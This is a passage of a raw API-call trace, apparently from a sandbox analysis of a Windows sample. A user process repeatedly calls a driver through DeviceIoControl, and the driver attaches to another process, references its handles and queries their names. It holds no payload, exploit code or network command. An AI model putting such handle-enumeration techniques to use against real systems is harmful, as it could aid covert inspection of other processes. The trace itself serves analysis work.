(in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.488] ObReferenceObjectByHandle (in: Handle=0x4f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001f97590, HandleInformation=0x0) returned 0x0 [0068.488] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.488] PsReleaseProcessExitSynchronization () returned 0x2 [0068.488] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.488] ObQueryNameString (in: Object=0xfffff8a001f97590, ObjectNameInfo=0xfffffa8003980044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003980044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.488] ObfDereferenceObject (Object=0xfffff8a001f97590) returned 0x1 [0068.488] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.488] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.488] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.488] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.488] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.488] PsAcquireProcessExitSynchronization () returned 0x0 [0068.488] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.488] ObReferenceObjectByHandle (in: Handle=0x500, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001f93d20, HandleInformation=0x0) returned 0x0 [0068.488] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.488] PsReleaseProcessExitSynchronization () returned 0x2 [0068.488] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.488] ObQueryNameString (in: Object=0xfffff8a001f93d20, ObjectNameInfo=0xfffffa8003981044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003981044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.488] ObfDereferenceObject (Object=0xfffff8a001f93d20) returned 0x1 [0068.488] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.488] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.488] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.488] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.488] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.488] PsAcquireProcessExitSynchronization () returned 0x0 [0068.488] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.488] ObReferenceObjectByHandle (in: Handle=0x510, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a002051790, HandleInformation=0x0) returned 0x0 [0068.488] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.488] PsReleaseProcessExitSynchronization () returned 0x2 [0068.488] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.488] ObQueryNameString (in: Object=0xfffff8a002051790, ObjectNameInfo=0xfffffa8003982044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003982044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.488] ObfDereferenceObject (Object=0xfffff8a002051790) returned 0x1 [0068.488] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.489] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.489] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.489] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.489] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.489] PsAcquireProcessExitSynchronization () returned 0x0 [0068.489] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.489] ObReferenceObjectByHandle (in: Handle=0x520, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a002051060, HandleInformation=0x0) returned 0x0 [0068.489] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.489] PsReleaseProcessExitSynchronization () returned 0x2 [0068.489] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.489] ObQueryNameString (in: Object=0xfffff8a002051060, ObjectNameInfo=0xfffffa8003983044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003983044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.489] ObfDereferenceObject (Object=0xfffff8a002051060) returned 0x1 [0068.489] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.489] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.489] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.489] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.489] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.489] PsAcquireProcessExitSynchronization () returned 0x0 [0068.489] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.489] ObReferenceObjectByHandle (in: Handle=0x530, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0020364c0, HandleInformation=0x0) returned 0x0 [0068.489] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.489] PsReleaseProcessExitSynchronization () returned 0x2 [0068.489] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.489] ObQueryNameString (in: Object=0xfffff8a0020364c0, ObjectNameInfo=0xfffffa8003984044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003984044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.489] ObfDereferenceObject (Object=0xfffff8a0020364c0) returned 0x1 [0068.489] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.489] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.489] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.489] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.489] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.489] PsAcquireProcessExitSynchronization () returned 0x0 [0068.489] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.490] ObReferenceObjectByHandle (in: Handle=0x540, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001fcdcd0, HandleInformation=0x0) returned 0x0 [0068.490] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.490] PsReleaseProcessExitSynchronization () returned 0x2 [0068.490] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.490] ObQueryNameString (in: Object=0xfffff8a001fcdcd0, ObjectNameInfo=0xfffffa8003985044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003985044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.490] ObfDereferenceObject (Object=0xfffff8a001fcdcd0) returned 0x1 [0068.490] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.490] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.490] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.490] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.490] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.490] PsAcquireProcessExitSynchronization () returned 0x0 [0068.490] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.490] ObReferenceObjectByHandle (in: Handle=0x550, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00205a450, HandleInformation=0x0) returned 0x0 [0068.490] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.490] PsReleaseProcessExitSynchronization () returned 0x2 [0068.490] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.490] ObQueryNameString (in: Object=0xfffff8a00205a450, ObjectNameInfo=0xfffffa8001fa2044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8001fa2044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.490] ObfDereferenceObject (Object=0xfffff8a00205a450) returned 0x1 [0068.490] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.490] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.490] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.490] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.490] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.490] PsAcquireProcessExitSynchronization () returned 0x0 [0068.490] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.490] ObReferenceObjectByHandle (in: Handle=0x560, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0020737a0, HandleInformation=0x0) returned 0x0 [0068.490] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.490] PsReleaseProcessExitSynchronization () returned 0x2 [0068.490] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.490] ObQueryNameString (in: Object=0xfffff8a0020737a0, ObjectNameInfo=0xfffffa8001fa87c4, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8001fa87c4, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.490] ObfDereferenceObject (Object=0xfffff8a0020737a0) returned 0x1 [0068.490] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.490] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.490] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.491] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.491] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.491] PsAcquireProcessExitSynchronization () returned 0x0 [0068.491] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.491] ObReferenceObjectByHandle (in: Handle=0x570, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001fdcca0, HandleInformation=0x0) returned 0x0 [0068.491] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.491] PsReleaseProcessExitSynchronization () returned 0x2 [0068.491] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.491] ObQueryNameString (in: Object=0xfffff8a001fdcca0, ObjectNameInfo=0xfffffa80019da044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80019da044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.491] ObfDereferenceObject (Object=0xfffff8a001fdcca0) returned 0x1 [0068.491] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.491] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.491] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.491] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.491] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.491] PsAcquireProcessExitSynchronization () returned 0x0 [0068.491] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.491] ObReferenceObjectByHandle (in: Handle=0x580, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001fe2c00, HandleInformation=0x0) returned 0x0 [0068.491] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.491] PsReleaseProcessExitSynchronization () returned 0x2 [0068.491] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.491] ObQueryNameString (in: Object=0xfffff8a001fe2c00, ObjectNameInfo=0xfffffa800344e7c4, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800344e7c4, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.491] ObfDereferenceObject (Object=0xfffff8a001fe2c00) returned 0x1 [0068.491] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.491] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.491] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.491] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.491] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.491] PsAcquireProcessExitSynchronization () returned 0x0 [0068.491] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.491] ObReferenceObjectByHandle (in: Handle=0x58c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00206a060, HandleInformation=0x0) returned 0x0 [0068.491] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.491] PsReleaseProcessExitSynchronization () returned 0x2 [0068.491] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.491] ObQueryNameString (in: Object=0xfffff8a00206a060, ObjectNameInfo=0xfffffa800396e044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396e044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.492] ObfDereferenceObject (Object=0xfffff8a00206a060) returned 0x1 [0068.492] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.492] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.492] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.492] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.492] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.492] PsAcquireProcessExitSynchronization () returned 0x0 [0068.492] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.492] ObReferenceObjectByHandle (in: Handle=0x59c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a002069520, HandleInformation=0x0) returned 0x0 [0068.492] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.492] PsReleaseProcessExitSynchronization () returned 0x2 [0068.492] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.492] ObQueryNameString (in: Object=0xfffff8a002069520, ObjectNameInfo=0xfffffa800396d044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396d044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.492] ObfDereferenceObject (Object=0xfffff8a002069520) returned 0x1 [0068.492] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.492] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.492] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.492] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.492] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.492] PsAcquireProcessExitSynchronization () returned 0x0 [0068.492] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.492] ObReferenceObjectByHandle (in: Handle=0x5ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a002070490, HandleInformation=0x0) returned 0x0 [0068.492] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.492] PsReleaseProcessExitSynchronization () returned 0x2 [0068.492] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.492] ObQueryNameString (in: Object=0xfffff8a002070490, ObjectNameInfo=0xfffffa800396c044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396c044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.492] ObfDereferenceObject (Object=0xfffff8a002070490) returned 0x1 [0068.492] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.492] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.492] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.492] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.492] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.492] PsAcquireProcessExitSynchronization () returned 0x0 [0068.492] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.492] ObReferenceObjectByHandle (in: Handle=0x5bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a002061800, HandleInformation=0x0) returned 0x0 [0068.493] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.493] PsReleaseProcessExitSynchronization () returned 0x2 [0068.493] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.493] ObQueryNameString (in: Object=0xfffff8a002061800, ObjectNameInfo=0xfffffa8003967044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003967044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.493] ObfDereferenceObject (Object=0xfffff8a002061800) returned 0x1 [0068.493] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.493] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.493] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.493] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.493] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.493] PsAcquireProcessExitSynchronization () returned 0x0 [0068.493] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.493] ObReferenceObjectByHandle (in: Handle=0x5cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a002069140, HandleInformation=0x0) returned 0x0 [0068.493] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.493] PsReleaseProcessExitSynchronization () returned 0x2 [0068.493] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.493] ObQueryNameString (in: Object=0xfffff8a002069140, ObjectNameInfo=0xfffffa8003966044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003966044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.493] ObfDereferenceObject (Object=0xfffff8a002069140) returned 0x1 [0068.493] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.493] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.493] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.493] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.493] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.493] PsAcquireProcessExitSynchronization () returned 0x0 [0068.493] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.493] ObReferenceObjectByHandle (in: Handle=0x5dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0020493d0, HandleInformation=0x0) returned 0x0 [0068.493] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.493] PsReleaseProcessExitSynchronization () returned 0x2 [0068.493] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.493] 